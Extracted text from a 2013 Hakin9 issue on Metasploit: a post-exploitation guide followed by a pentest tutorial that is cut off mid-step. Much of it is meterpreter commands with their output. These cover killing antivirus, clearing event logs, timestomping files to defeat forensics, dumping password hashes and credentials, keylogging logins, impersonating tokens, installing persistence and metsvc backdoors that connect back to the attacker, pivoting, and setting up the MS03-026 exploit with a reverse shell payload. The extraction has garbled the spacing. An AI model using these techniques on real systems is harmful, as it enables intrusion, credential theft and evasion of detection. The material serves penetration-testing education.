Lets Fu
Migration to process
For breaking into the system, vulnerability in some
software is exploited and the payload (in this case
the meterpreter) is executed in the memory space
of the process/software being exploited. As unex-
pected data is sent to the process for exploitation,
the process might eventually crash and exit. If the
process closes, our meterpreter shell will also be
lost as the memory space of the process will be
destroyed when it exits.
First step on successful exploitation should be
migrating our payload to another processs mem-
ory so that even if the exploited process crashes,
the shell is still retained. In order to do this you can
run ps to get a list of processes with their PIDs and
then use the migrate command to migrate the pay-
load to another process (Listing 1).
Killing monitoring software
Now a day almost every system runs some kind
of protection or antivirus product. On one hand
they are to protect the victim from such attacks,
on the other side they cause a hindrance to the
attacker. In order to stay stealthy and perform all
actions seamlessly, one should consider killing
any kind of monitoring or antivirus software on the
victim on getting the meterpreter shell. Metasploit
makes it easy by providing two important meter-
preter scripts namely getcountermeasure and
killav.
Getcountermeasure tries to list all the protec-
tions present on the machine (Listing 2).
Killav script maintains a name of known antivirus
process names. Running the script will look for any
of these processes running on the machine and
would kill them if present.
www.hakin9.org/en 75
Listing 1. Migrate the payload to another process
met er pr et er > ps
Pr ocess l i st
============
PI D Name Pat h
--- ---- ----
...sni p...
228 l sass.exe C: \ WI NNT\ syst em32\ l sass.exe
380 svchost .exe C: \ WI NNT\ syst em32\ svchost .exe
408 spool sv.exe C: \ WI NNT\ syst em32\ spool sv.exe
480 r egsvc.exe C: \ WI NNT\ syst em32\ r egsvc.exe
724 cmd.exe C: \ WI NNT\ Syst em32\ cmd.exe
768 Expl or er .exe C: \ WI NNT\ Expl or er .exe
...sni p...

met er pr et er > mi gr at e 768
[*] Mi gr at i ng t o 768...
[*] Mi gr at i on compl et ed successf ul l y.
Listing 2. Listing machines protections
met er pr et er > r un get count er measur e
[*] Runni ng Get count er measur e on t he t ar get ...
[*] Checki ng for cont er measur es...
[*] Get t i ng Wi ndows Bui l t in Fi r ewal l conf i gur at i on...
[*]
[*] Domai n pr of i l e conf i gur at i on:
[*] -------------------------------------------------------------------
[*] Oper at i onal mode = Di sabl e
[*] Except i on mode = Enabl e
[*]
[*] St andar d pr of i l e conf i gur at i on:
[*] -------------------------------------------------------------------
[*] Oper at i onal mode = Di sabl e
[*] Except i on mode = Enabl e
...sni p...
Figure 1. Windows event viewer logs have been cleared
76
EXPLOITING WITH METASPLOIT
TBO 01/2013
met er pr et er > r un ki l l av
[ *] Ki l l i ng Ant i vi r us ser vi ces on t he t ar get . . .
[ *] Ki l l i ng of f avi r a. exe. . .
Deleting Logs
Any activity on the system is logged by windows
and for the same reason the attack and also all
the future activities will be logged by the default
log daemon running in windows. No attacker
would want to get caught or leave any track that
can lead back to him. Therefore clearing the sys-
tem logs is a very crucial step of a pentest. Logs
should be cleared not only after all the activities
on the system has been done but also as soon
as the attacker gets into the system. It is impor-
tant as there might a cron job running to periodi-
cally upload the system logs to some server and
might upload the logs containing your attack. Me-
terpreter script clearev does the work for us by
clearing the system and user logs as shown in
Figure 1.
met er pr et er > cl ear ev
[ *] Wi pi ng 997 r ecor ds f r omAppl i cat i on. . .
[ *] Wi pi ng 2045 r ecor ds f r omSyst em. . .
[ *] Wi pi ng 1 r ecor ds f r omSecur i t y. . .
Another way to detect an attack or malicious ac-
tivity on the system is by forensic analysis. J ust
by deleting the system and user logs one cannot
be sure that it is completely stealthy. The foren-
sic analyst usually checks for all the modifed fles
on the target after a certain date and time. This is
done by reading the 4 date and time stamp attri-
butes of a fle which is known as MACE.
MACE signifies Modified, Access, Changed and
Entered into the master file table times of a file.
To remain undetected even under forensic
analysis we have to take care of the activities
done on the machine. Best way is to do every-
thing in the memory and not touch the file sys-
tem by which I mean not create, modify any file.
There might be cases where it is unavoidable
to not interact with the machine. In such cases,
timestomp as a part of priv meterpreter exten-
sion by Metasploit comes handy which helps you
to read and change the MACE times of the file
(Listing 3).
For example: Create a file
met er pr et er > t i mest omp t est . t xt - z Sat ur day
10/ 08/ 2005 2: 02: 02 PM
met er pr et er > t i mest omp t est . t xt - a Sat ur day
10/ 08/ 2005 2: 02: 02 PM
Victim information gathering
Gathering as much information possible regarding
the system gives us a heads up and can help us
in future steps. Lets look at different kind of infor-
mation that can be extracted and the way to get it.
Lots of modules and meterpreter scripts are avail-
able for gaining information but will be discuss-
ing only few important ones here. You can view
the available meterpreter scripts by typing run and
pressing double tab at the meterpreter prompt.
Figure 2 lists the available run scripts on my instal-
lation of Metasploit.
met er pr et er > r un
Check the user and the privilege level that we
have broken in as.
Listing 3. Change the MACE times of the fle
met er pr et er > use pr i v
Loadi ng ext ensi on pr i v. . . success.
met er pr et er > t i mest omp h
Usage: t i mest omp f i l e_pat h OPTI ONS
OPTI ONS:
- a Set t he l ast accessed t i me of t he f i l e
- b Set t he MACE t i mest amps so t hat EnCase
shows bl anks
- c Set t he cr eat i on t i me of t he f i l e
- e Set t he mf t ent r y modi f i ed t i me of t he
f i l e
- f Set t he MACE of at t r i but es equal t o t he
suppl i ed f i l e
- h Hel p banner
- m Set t he l ast wr i t t en t i me of t he f i l e
- r Set t he MACE t i mest amps r ecur si vel y on a
di r ect or y
- v Di spl ay t he UTC MACE val ues of t he f i l e
- z Set al l f our at t r i but es ( MACE) of t he
f i l e
www.hakin9.org/en 77
Met er pr et er > get ui d
Ser ver user name: HACKBOX\ vi ct i m
Whether current user is active or time he has
been away.
Met er pr et er > i dl et i me
User has been i dl e f or : 16 mi ns 5 secs
See what the user is currently doing by taking a
screenshot of the victims machine. An example
screenshot of the victim is shown in Figure 3.
Met er pr et er > scr eenshot
Scr eenshot saved t o: / home/ msf / Wi yDGJ wX. j peg
Check if the exploited victim system is a real
machine or a virtual machine.
met er pr et er > r un checkvm
[ *] Checki ng i f HACKBOX i s a Vi r t ual Machi ne
[ *] Thi s i s a VMwar e Vi r t ual Machi ne
Get the list of most frequently run programs
that indicates the major use of the machine by
the victim and may reveal some interesting in-
formation. The prefetchtool script reads the da-
ta from the windows prefetch folder that con-
tains some basic information about the pro-
grams that are used regularly.
met er pr et er > r un pr ef et cht ool
[ *] No l ocal copy of pr ef et ch. exe, downl oadi ng
f r omt he i nt er net . . .
Dump the password hashes from the system
which can be fed into a hash cracking program
to get clear text passwords of all the user ac-
counts on the victim machine.
met er pr et er > hashdump
OR
met er pr et er > r un hashdump
Admi ni st r at or : 500: MYLMHASH: MYNTLMHASH: : :
Guest : 501: MYLMHASH: MYNTLMHASH: : :
asdf ds: 502: MYLMHASH: MYNTLMHASH: : :
Domai n Admi n?: 1000: MYLMHASH: MYNTLMHASH: : :
qwewqe: 1104: MYLMHASH: MYNTLMHASH: : :
DOMAI NCONTROLLE$?: 1001: MYLMHASH: MYNTLMHASH: : :
Collecting important or interesting fles from
the machine. This can be done by searching
for content using regular expression and then
downloading it to the attackers machine. Me-
terpreter has a search function that by default
searches all drives of the victims computer
looking for fles of choice.
met er pr et er > sear ch h
Usage: sear ch [ - d di r ] [ - r r ecur se] - f pat t er n
Sear ch f or f i l es.
OPTI ONS:
Figure 2. Meterpreter shell showing run scripts
Figure 3. Screenshot of the victim
78
EXPLOITING WITH METASPLOIT
TBO 01/2013
- d The di r ect or y/ dr i ve t o begi n sear chi ng
f r om. Leave empt y t o sear ch al l dr i ves.
( Def aul t : )
- f The f i l e pat t er n gl ob t o sear ch f or .
( e. g. *secr et *. doc?)
- h Hel p Banner .
- r Recur si vl y sear ch sub di r ect or i es.
( Def aul t : t r ue)
To search for the pdf fles run search with -f
option and pattern to look for
met er pr et er > sear ch f *. pdf
Found 418 r esul t s. . .
. . . sni p. . .
c: \ Document s and Set t i ngs\ Al l User s\ Document s\
dat asheet . pdf ( 28521 byt es)
c: \ Document s and Set t i ngs\ vi ct i m\ Document s\
phot o. pdf ( 71189 byt es)
. . . sni p. . .
Working with registry
Windows registry is a place having numerous
amount of information where a slight change can
lead to big changes. Meterpreter provides us with
tool to read, write, create and delete registry on
the victim machine (Listing 4).
Using the registry, one can find what files have
been utilized, web sites visited in Internet Explor-
er, programs utilized, USB devices utilized, and
so on.
Listing 4. Read, Write, Create and Delete registry on victims machine
met er pr et er > r eg
Usage: r eg [command] [opt i ons]
I nt er act wi t h t he t ar get machi ne s r egi st r y.
OPTI ONS:
-d The dat a t o st or e in t he r egi st r y val ue.
-h Hel p menu.
-k The r egi st r y key pat h (E.g. HKLM\ Sof t war e\ Foo).
-t The r egi st r y val ue t ype (E.g. REG_SZ).
-v The r egi st r y val ue name (E.g. St uf f ).
COMMANDS:
enumkey Enumer at e t he suppl i ed r egi st r y key [-k <key>]
cr eat ekey Cr eat e t he suppl i ed r egi st r y key [-k <key>]
del et ekey Del et e t he suppl i ed r egi st r y key [-k <key>]
quer ycl ass Quer i es t he class of t he suppl i ed key [-k <key>]
set val Set a r egi st r y val ue [-k <key> -v <val > -d <dat a>]
del et eval Del et e t he suppl i ed r egi st r y val ue [-k <key> -v <val >]
quer yval Quer i es t he dat a cont ent s of a val ue [-k <key> -v <val >]
Listing 5. Stealing users tokens, password, email, ftp clients
met er pr et er > r un cr edcol l ect
[+] Col l ect i ng hashes...
Ext r act ed: Admi ni st r at or : 7584248b8d2c9f 9eaad3b435b51404ee: 186cb09181e2c2ecaac768c47c729904
Ext r act ed: asdf ds: aad3b435b51404eeaad3b435b51404ee: 31d6cf e0d16ae931b73c59d7e0c089c0
Ext r act ed: Guest : aad3b435b51404eeaad3b435b51404ee: 31d6cf e0d16ae931b73c59d7e0c089c0
Ext r act ed: Hel pAssi st ant : 713c7f 414ef 1ddf d43ed3164e67b8d07: 70b582319e3a4da8958b93141191d98b
Ext r act ed: SUPPORT_388945a0: aad3b435b51404eeaad3b435b51404ee: b137dc9544f 7af a9f 6f e85d39bd6b29b
[+] Col l ect i ng t okens...
HACKBOX\ asdf ds
NT AUTHORI TY\ LOCAL SERVI CE
NT AUTHORI TY\ NETWORK SERVI CE
NT AUTHORI TY\ SYSTEM
NT AUTHORI TY\ ANONYMOUS LOGON
met er pr et er > r un enum_f i r ef ox
met er pr et er > get _pi dgi n_cr eds
www.hakin9.org/en 79
Listing 6. Get system privileges
met er pr et er > use pr i v
Loadi ng ext ensi on pr i v...success.
met er pr et er > get syst em-h
Usage: get syst em[opt i ons]
At t empt t o el evat e your pr i vi l ege t o t hat of l ocal syst em.
OPTI ONS:
-h Hel p Banner .
-t The t echni que t o use. (Def aul t t o 0 ).
0 : Al l t echni ques avai l abl e
1 : Ser vi ce - Named Pi pe I mper sonat i on (I n Memor y/Admi n)
2 : Ser vi ce - Named Pi pe I mper sonat i on (Dr opper /Admi n)
3 : Ser vi ce - Token Dupl i cat i on (I n Memor y/Admi n)
4 : Expl oi t - Ki Tr ap0D (I n Memor y/User )
met er pr et er > get syst em
...got syst em(vi a t echni que 4).
Listing 7. Error due to a bug
met er pr et er > use i ncogni t o
Loadi ng ext ensi on i ncogni t o...success.
met er pr et er > l i st _t okens -u
Del egat i on Tokens Avai l abl e
========================================
NT AUTHORI TY\ LOCAL SERVI CE
NT AUTHORI TY\ NETWORK SERVI CE
NT AUTHORI TY\ SYSTEM
HACKBOX\ Admi ni st r at or
I mper sonat i on Tokens Avai l abl e
========================================
NT AUTHORI TY\ ANONYMOUS LOGON
met er pr et er > i mper sonat e_t oken HACKBOX\ \ Admi ni st r at or
[+] Del egat i on t oken avai l abl e
[+] Successf ul l y i mper sonat ed user HACKBOX\ Admi ni st r at or
Listing 8. Machine rebooted
met er pr et er > r un per si st ence -h
OPTI ONS:
-A Aut omat i cal l y st ar t a mat chi ng mul t i /handl er t o connect t o t he agent
-U Aut omat i cal l y st ar t t he agent when t he User l ogs on
-X Aut omat i cal l y st ar t t he agent when t he syst emboot s
-h Thi s hel p menu
-i The i nt er val in seconds bet ween each connect i on at t empt
-p The por t on t he r emot e host wher e Met aspl oi t i s l i st eni ng
-r The I P of t he syst emr unni ng Met aspl oi t l i st eni ng for t he connect back
80
EXPLOITING WITH METASPLOIT
TBO 01/2013
Stealing information
Metasploit provides modules which help the at-
tacker/pentester to steal sensitive information
from the victim. This includes stealing user tokens,
password stored in browsers, email and ftp clients
(Listing 5).
Privilege escalation
We have mentioned privilege but lets try and un-
derstand what it is exactly. Suppose you have to
perform an action on a machine, it will be asso-
ciated with permissions. If you have permissions
to perform the action, it will successfully execute
else the action is blocked. Privilege defines the
permissions to perform actions associated with a
user on the system. SYSTEM is the highest privi-
lege user on a machine. In certain situation you
will find yourself broken in as a low privilege user
that will limit actions you can perform on the re-
mote system such as dumping passwords, ma-
nipulating the registry, installing backdoors, etc.
Fortunately, Metasploit provides few techniques
where in you try to elevate privilege level to attain
SYSTEM privileges. Some of them are
Using getsystem that tries a set of ways to get
system privileges as mentioned below (Listing 6)
Impersonating tokens
Note: While using impersonate_token use 2
backslashes (\\) as with 1 it causes error due to
a bug (Listing 7)
Migrating to high privilege process
Using the technique discussed before to migrate
to another process, we can try and migrate to a
process that runs under the SYSTEM privileges.
On successful migration to such a process, privi-
lege escalation is achieved.
Backdooring or installation of rootkits
Once broken into a machine, you might want to
maintain access for further examination or pene-
tration into other machines on the network. In sce-
narios where one cannot exploit the same soft-
Listing 9. Connect back
met er pr et er > r un per si st ence -U -i 5 -p 3333 -r 192. 168.1. 11
[*] Cr eat i ng a per si st ent agent : LHOST=192. 168.1. 11 LPORT=3333 (i nt er val =5 onboot =true)
[*] Per si st ent agent scr i pt i s 613976 byt es l ong
[*] Upl oaded t he per si st ent agent t o C: \ WI NDOWS\ TEMP\ yyPSPPEn.vbs
[*] Agent execut ed wi t h PI D 492
[*] I nst al l i ng i nt o aut or un as HKCU\ Sof t war e\ Mi cr osof t \ Wi ndows\ Cur r ent Ver si on\ Run\ YeYHdl EDygVi ABr
[*] I nst al l ed i nt o aut or un as HKCU\ Sof t war e\ Mi cr osof t \ Wi ndows\ Cur r ent Ver si on\ Run\ YeYHdl EDygVi ABr
[*] For cl eanup use command: r un mul t i _consol e_command -r c /r oot /.msf 3/l ogs/per si st ence/
HACKBOX_20100821.2602/cl ean_up__20100821.2602. r c
Listing 10. Edit the source or fller out the connections on the port
met er pr et er > r un met svc -h
[*]
OPTI ONS:
-A Aut omat i cal l y st ar t a mat chi ng mul t i /handl er t o connect t o t he ser vi ce
-h Thi s hel p menu
-r Uni nst al l an exi st i ng Met er pr et er ser vi ce (f i l es must be del et ed manual l y)
met er pr et er > r un met svc
[*] Cr eat i ng a met er pr et er ser vi ce on por t 31337
[*] Cr eat i ng a t empor ar y i nst al l at i on di r ect or y C: \ DOCUME~1\ vi ct i m\ LOCALS~1\ Temp\ J pl TpVnksh...
[*] >> Upl oadi ng met sr v.dl l ...
[*] >> Upl oadi ng met svc-ser ver .exe...
[*] >> Upl oadi ng met svc.exe...
[*] St ar t i ng t he ser vi ce...
[*] * I nst al l i ng ser vi ce met svc
* St ar t i ng ser vi ce
Ser vi ce met svc successf ul l y i nst al l ed.
www.hakin9.org/en 81
ware or service again, it ensures that you can still
regain control of the machine. If you want to close
the current connection in cases when you want to
switch off your machine or remove it from the net-
work, you are still able to reconnect to the machine
without actually exploiting the machine again.
Keylogging
A tool well written in Metasploit allows you to log
all the keystrokes from the system without writing
anything to the disk, which makes it a lot stealth-
ier than any of the other keyloggers. Every sys-
tem has a keyboard buffer which includes the key
presses that are used by the OS. The same buffer
is read and dumped to the attacker by this tool and
hence there is no need to write the key presses
on the disk before dumping it to the attacker and
leaves no trail of it for the forensic analysts. This
is quite useful for acquiring username, passwords
and other sensitive information.
As all the GUI user interaction happens in the ex-
plorer, so in order to keylog we migrate to explorer.
exe process
met er pr et er > keyscan_st ar t
St ar t i ng t he keyst r oke sni f f er . . .
met er pr et er > keyscan_dump
Dumpi ng capt ur ed keyst r okes. . .
gmai l . commyuser name not mypasswor d
An icing on the cake is that you can even capture
the login information of the user on the machine.
To do that you migrate to the winlogon process
and start the keyscan. This will log the credentials
of all the users that will login to this machine.
Persistance
To be able to get back to the system that was exploit-
ed before even when the vulnerable service is down,
use the persistence meterpreter script. This creates
a meterpreter service which is available even after
the remote machine is rebooted (Listing 8).
Configure the persistent Meterpreter session to
wait until a user logs on to the remote system and
try to connect back to our listener every 5 seconds
at IP address 192.168.1.11 on port 3333 (Listing 9).
As soon as user logs into the sytem and if you
have a handler running, you get a meterpreter
session. To uninstall the service you can use the
command to run the .rc script as shown in the last
line of the output. Please note that this backdoor
is very noisy, as after the user logs in it will keep
trying to connect back to the listener after every 5
seconds. Also this requires no authentication, so
anyone can run a listener with same configuration
and will get a meterpreter session of the victim.
MetSvc
Similar to persistence, metsvc written by Alexan-
der Sotirov is also a backdoor that allows getting
a meterpreter session any time without exploita-
tion. Metsvc opens a port runs as a service on that
port listening for requests on the victim machine.
The attacker can connect to the port and get a me-
terpreter session without an authentication. There-
fore its not safe to keep this backdoor open forev-
er as anyone who can connect to this port can get
a session. In real world scenarios, you could either
edit the source to allow authentication or filter out
the connections on the port to only allow attacker
to connect (Listing 10).
Victim pivoting
Pivoting is the unique technique of using an in-
stance to be able to move around inside a net-
work. Basically using the first compromised sys-
tem to allow and even aid in the compromise of
other otherwise inaccessible systems.
In order to understand this better lets take an
example where you have compromised a system
that is connected to another network not acces-
sible to the attacker. The layout of the network is
shown in Figure 4
Attacker: IP 192.168.1.132
Victim1: IP 192.168.1.131, 2nd IP
192.168.15.3
Victim2: IP 192.168.15.32 (not accessible by
attacker)
After breaking into victim1 and using the me-
terpreter session to run the ipconfg command
Figure 4. Layout of a test network
82
EXPLOITING WITH METASPLOIT
TBO 01/2013
shows that the victim1 is connected to two dif-
ferent networks. We will use this new information
and attack the additional network. Metasploit in-
cludes an autoroute meterpreter script that allows
the pentester to attack this new network through
victim1 (Listing 11).
On successful addition of the route you can
scan the new network for other systems. After the
scan you can launch an attack on the new sys-
tem (victim2) just like the attack on victim1. All
the attack data will be routed through victim1 that
was added by the autoroute script. On successful
exploitation of victim2 we will have a meterpret-
er session via the existing meterpreter session of
victim1.
This demonstrates that pivoting is an extreme-
ly powerful feature available in Metasploit that lets
you exploit the systems which are normally not ac-
cessible to the attacker. This is one feature which
every pentester should know about and have ex-
perience using it.
Conclusion
We saw that we can do much more and extract so
much information about the victim post exploita-
tion than just running a payload with the exploit.
Post exploitation not only helps in gathering more
information about the victim but also helps you in
digging further into the network by using the victim
as a gateway to other subnets. On an ending note
I would say that post exploitation is as important or
may be more important than the idea of breaking
into the system.
HARSIMRAN WALIA
Harsimran Walia is a research scientist
at McAfee Labs. He graduated as with
a degree in mechanical engineering
from the Indian Institute of Technolo-
gy, Delhi. Harsimran presented his re-
search at Indias biggest Internation-
al Hacking Conference NullCon, 2011
and has provided talk on Android Se-
curity at c0c0n, 2012, a Cyber securi-
ty and policing conference. He specialises in the feld of
Ofensive Metasploit, Reverse Engineering and Malware
Analysis. He is also an author of various research papers
and articles.
Listing 11. Attack a new network through victim1
met er pr et er > r un aut or out e -h
[*] Usage: r un aut or out e [-r ] -s subnet -n net mask
[*] Exampl es:
[*] r un aut or out e -s 10. 1.1. 0 -n 255. 255.255. 0 # Add a r out e t o 10. 10. 10. 1/ 255. 255. 255. 0
[*] r un aut or out e -s 10. 10.10. 1 # Net mask def aul t s t o 255. 255. 255. 0
[*] r un aut or out e -s 10. 10.10. 1/24 # CI DR not at i on i s al so okay
[*] r un aut or out e -p # Pr i nt act i ve r out i ng t abl e
[*] r un aut or out e -d -s 10. 10.10. 1 # Del et es t he 10. 10. 10. 1/ 255. 255. 255. 0 r out e
[*] Use t he r out e and i pconf i g Met er pr et er commands t o l ear n about avai l abl e r out es
met er pr et er > r un aut or out e -s 192. 168.15. 0/24
[*] Addi ng a r out e t o 192. 168.15. 0/255. 255.255. 0...
[+] Added r out e t o 192. 168.15. 0/255. 255.255. 0 vi a 192. 168.1. 131
[*] Use t he -p opt i on t o l i st al l act i ve r out es
met er pr et er > r un aut or out e -p
Act i ve Rout i ng Tabl e
====================
Subnet Net mask Gat eway
------ ------- -------
192. 168.15. 0 255. 255.255. 0 Sessi on 1
Your One-stop Security Solution Portal
From components to solutions, 560 original security manufac-
turers are here to offer turn-key services.
First Secutech mobile app available
Scan QR code for free download!
Asias No 1 access control showcase, including parking, gates and locks
Grand display of CCTV upgrades solutions
Worlds only HD-SDI pavilion and live demo
Special highlights: vehicle security, home security and accessories
Top 100 premier manufacturers from Taiwan, China, Korea and other countries
3000+ kinds of new launches
April 24 - 26, 2013
Taipei Nangang Exhibition Center, Taiwan
www.secutech.com
' .Ol:-.O:x.J:.inoo l l:/l/.J ll.4O
84
EXPLOITING WITH METASPLOIT
TBO 01/2013
How to Use Metasploit
for Penetration Testing
When we say Penetration Testing tool the first thing that comes to
our mind is the worlds largesat Ruby project, initially started by HD
Moore in 2003 called Metasploit a sub-project of Metasploit Project.
Other important sub-projects include the Opcode Database, shell
code archive, and security research.
I
t was created in 2003 in the Perl programming
language, but due to some Perl disadvantages
was completely re-written in the Ruby Program-
ming Language in 2005. On October 21, 2009,
Rapid7, a vulnerability management solution com-
pany, acquired the Metasploit Project. A collabo-
ration between the open source community and
Rapid7, Metasploit software helps security and IT
professionals identify security issues, verify vul-
nerability mitigations, and manage expert-driven
security assessments, providing true security risk
intelligence. Capabilities include smart exploita-
tion, password auditing, web application scanning,
and social engineering (Figure 1).
No wonder it had become the standard frame-
work for penetration testing and vulnerability de-
velopment and the worlds largest public database
of quality assured exploits.
Metasploit itself is free, opensource software,
with many contributors in the security community,
but two commercial Metasploit versions are also
available.
Working with metasploit
Metasploit is simple to work on and is designed with
ease-of-use in mind to support Penetration Testers
and other security experts. When you encounter the
Metasploit Framework (MSF) for the first time, you
might be overwhelmed by its many interfaces, options,
utilities, variables, and modules. Metasploit frame-
work had basic terminology that is same throughout
the security industry. These terms are as follows:
Exploit An exploit is the means by which an
attacker, or pen-tester takes advantage of a faw
within a system, an application, or a service. An
attacker uses an exploit to attack a system in a
way that results in a particular desired outcome
that the developer never intended.
Payload A payload is code that we want the
system to execute and that is to be selected
and delivered by the Framework. For example,
a reverse shell is a payload that creates a con-
nection from the target machine back to the at-
tacker as a Windows command prompt, where-
as a bind shell is a payload that binds a com-
mand prompt to a listening port on the target
machine, which the attacker can then connect.
A payload could also be something as simple
as a few commands to be executed on the tar-
get operating system. Figure 1. Metasploit
www.hakin9.org/en 85
Shell-code Shell-code is a set of instructions
used as a payload when exploitation occurs.
Shell-code is typically written in assembly lan-
guage. In most cases, a command shell or a
Meterpreter shell will be provided after the se-
ries of instructions have been performed by the
target machine, hence the name.
Module A module is a piece of software that
can be used by the Metasploit Framework. At
times, you may require the use of an exploit
module, a software component that conducts
the attack. Other times, an auxiliary module
may be required to perform an action such as
scanning or system enumeration. These in-
terchangeable modules are the core of what
makes the Framework so powerful.
Listener A listener is a component within
Metasploit that waits for an incoming connection
of some sort. For example, after the target ma-
chine has been exploited, it may call the attack-
ing machine over the Internet. The listener han-
dles that connection, waiting on the attacking
machine to be contacted by the exploited system.
Metasploit Interfaces
Msfconsole most popular, most fexible, fea-
ture-rich, and well-supported tools within the
Framework, its like a one-stop shop for all of
your exploitation.
Msfcli priority on scripting and interpret-abil-
ity with other console-based tools, runs direct-
ly from the command line allows redirect out-
put from other tools into msfcli and direct ms-
fcli output to other command-line tools sup-
ports the launching of exploits and auxiliary
modules, and it can be convenient when test-
ing modules or developing new exploits for the
Framework. It is a fantastic tool for unique ex-
ploitation when you know exactly which exploit
and options you need.
Armitage fully interactive graphical user interface
created by Raphael Mudge. Interface is highly im-
pressive, feature rich, and available for free.
Metasploit Utilities
Metasploits utilities are direct interfaces to particular
features of the Framework that can be useful in spe-
cific situations, especially in exploit development.
MSFpayload
The msfpayload component of Metasploit allows
you to generate shell-code, executable, and much
more for use in exploits outside of the Framework.
Shell-code can be generated in many formats in-
cluding C, Ruby, J avaScript, and even Visual Ba-
sic for Applications. Each output format will be use-
ful in various situations. For example, if you are
working with a Python-based proof of concept, C-
style output might be best; if you are working on a
browser exploit, a J avaScript output format might
be best. After you have your desired output, you
can easily insert the payload directly into an HTML
file to trigger the exploit.
Command msfpayload h show option it takes.
MSFencode
The shellcode generated by msfpayload is fully
functional, but it contains several null characters
that, when interpreted by many programs, signify
the end of a string, and this will cause the code to
terminate before completion. In other words, those
x00s and xffs can break your payload!
In addition, shell-code traversing a network in
clear text is likely to be picked up by intrusion de-
tection systems (IDSs) and antivirus software. To
address this problem, Metasploits developers of-
fer msfencode, which helps you to avoid bad char-
acters and evade antivirus and IDSs by encoding
the original payload in a way that does not include
bad characters.
Command msfencode h show list of options.
Nasm Shell
The nasm_shell.rb utility can be handy when youre
trying to make sense of assembly code, especially
if, during exploit development, you need to iden-
tify the opcodes (the assembly instructions) for a
given assembly command To run the nasm shell
you need to run the ruby script from the framework
folder.
Command #./nasm_shell.rb and now enter the
assembly command it will generate the opcodes.
Exploitation from basics
Metasploit Framework follows these common
steps while exploiting any target system
Select and confgure the exploit to be targeted.
This is the code that will be targeted toward a
system and validate whether the chosen sys-
tem is susceptible to the chosen exploit.
Select and confgure a payload that will be
used. This payload represents the code that will
be run on a system after a loop-hole has been
found in the system and an entry point is set.
Select and confgure the encoding schema
to be used to make sure that the payload can
evade Intrusion Detection Systems with ease.
Execute the exploit.
86
EXPLOITING WITH METASPLOIT
TBO 01/2013
Now Metasploit contains hundreds of modules
to exploit a specifc vulnerability so it provides a
search feature which can be used using show
command.
msf>show will display every module in the
metasploit framework.
You can narrow your search to display only spe-
cifc module by using command
msf>show exploits exploits operate against
the vulnerabilities that you discover during a
penetration test. New exploits are always be-
ing developed, and the list will continue to
grow. This command will display every current-
ly available exploit within the Framework.
msf>show auxiliary Auxiliary modules in
Metasploit can be used for a wide range of
purposes. They can operate as scanners, de-
nial-of-service modules, fuzzers, and much
more. This command will display them and list
their features.
Now after searching, to use a particular module
from the framework you need use command
msf>use name of the exploits and to change
module just use back
When the module from the metasploit framework
is selected, by running the command show op-
tions metasploit will display only the option that
apply to that particular module.
When no modules set to use show option com-
mand will display the global options, example: set
LogLevel to be more verbose to perform attack.
The module in metasploit framework needs the
options for that module to be set.
To set the options for particular module you need
to use the set or unset commands and you can
also use setg and unsetg commands to set or un-
set a parameter globally within msfconsole. Using
these commands can save you from having to re-
enter the same information repeatedly, particularly
in the case of frequently used options that rarely
change, such as LHOST but you need to save all
the setting using save command.
Some modules often list vulnerable targets as
some vulnerability targetsrelies on harcoded mem-
ory address, the exploits are specific on operat-
ing system and specific patch levels, version and
security implementations using show targets com-
mand list the exploits targets. Now everything is
done it needs payloads which are platform-specific
portions of code delivered to a target. A payloads
can be as simple as command prompt or as com-
plex as a graphical interface on the target machine.
To see active list of payloads in a module use
msf > show payl oads
Pentesting with metasploit
Metasploit
Here is the demonstration of pen testing a vulner-
able target system using
Vi ct i mMachi ne
OS: Mi cr osof t Wi ndows Ser ver 2003
I P: *
At t acker ( Our ) Machi ne
OS: Backt r ack 5
GNU/ Li nux
I P: *
Our objective here is to gain remote access to
given target which is known to be running vulner-
able Windows 2003 Server. Here are the detailed
steps of our attack in action:
Step 1
Perform an Nmap scan of the remote server IP.
The output of the Nmap scan shows us a range
of ports open which can be seen below in Figure 2:
We notice that there is port 135 open. Thus we
can look for scripts in Metasploit to exploit and gain
shell access if this server is vulnerable.
Figure 2. Open ports
Figure 3. Locate the console
www.hakin9.org/en 87
Step 2
Now on your BackTrack launch msfconsole as
shown below:
Application > BackTrack > Exploitation Tools >
Network Exploit Tools > Metasploit Framework >
msfconsole (Figure 3).
During the initialization of msfconsole, standard
checks are performed. If everything works out fine
we will see the welcome screen as shown: Figure
4.
Step 3
Now, we know that port 135 is open so, we search
for a related RPC exploit in Metasploit.
To list out all the exploits supported by Metasploit
we use the show exploits command. This exploit
lists out all the currently available exploits and a
small portion of it is shown Figure 5.
As you may have noticed, the default installa-
tion of the Metasploit Framework 3.8.0-dev comes
with 696 exploits and 224 payloads, which is
quite an impressive stockpile thus finding a spe-
cific exploit from this huge list would be a real te-
dious task. So, we use a better option. You can
either visit the link http://metasploit.com/modules/
or another alternative would be to use the search
<keyword>command in Metasploit to search for
related exploits for RPC command in Metasploit.
In msfconsole type search dcerpc to search all
the exploits related to dcerpc keyword as that ex-
ploit can be used to gain access to the server with
a vulnerable port 135. A list of all the related ex-
ploits would be presented on the msfconsole win-
dow and this is shown in Figure 6.
Step 4
Now that you have the list of RPC exploits in front
of you, we would need more information about the
exploit before we actually use it. To get more infor-
mation regarding the exploit you can use the com-
mand:
i nf o expl oi t / wi ndows/ dcer pc/ ms03_026_dcom
This command provides information such as avail-
able targets, exploit requirements, details of vulner-
ability itself, and even references where you can
fnd more information. This is shown in Figure 7.
Step 5
The command use <exploit_name> activates
the exploit environment for the exploit <exploit_
name>. In our case we will use the following com-
mand to activate our exploit
Figure 6. Related exploits
Figure 5. Available exploits
Figure 4. Welcome screen
Figure 7. Targets, Exploit requirements, Vulnerabilities,
References
88
EXPLOITING WITH METASPLOIT
TBO 01/2013
use expl oi t / wi ndows/ dcer pc/ ms03_026_dcom
From the above fgure we can see that, after the
use of the exploit command the prompt changes
from msf> to msf exploit(ms03_026_dcom) >
which symbolizes that we have entered a tempo-
rary environment of that exploit (Figure 8).
Step 6
Now, we need to configure the exploit as per the
need of the current scenario. The show options
command displays the various parameters which
are required for the exploit to be launched prop-
erly. In our case, the RPORT is already set to 135
and the only option to be set is RHOST which can
be set using the set RHOST command.
We enter the command set RHOST IP and we
see that the RHOST is set to IP (Figure 9).
Step 7
The only step remaining now before we launch
the exploit is setting the payload for the exploit.
We can view all the available payloads using the
show payloads command.
As shown in the below figure, show payloads
command will list all payloads that are compatible
with the selected exploit (Figure 10).
For our case, we are using the reverse tcp me-
terpreter which can be set using the command,
set PAYLOAD windows/meterpreter/reverse_
tcp which spawns a shell if the remote server
is successfully exploited. Now again you must
view the available options using show options to
make sure all the compulsory sections are prop-
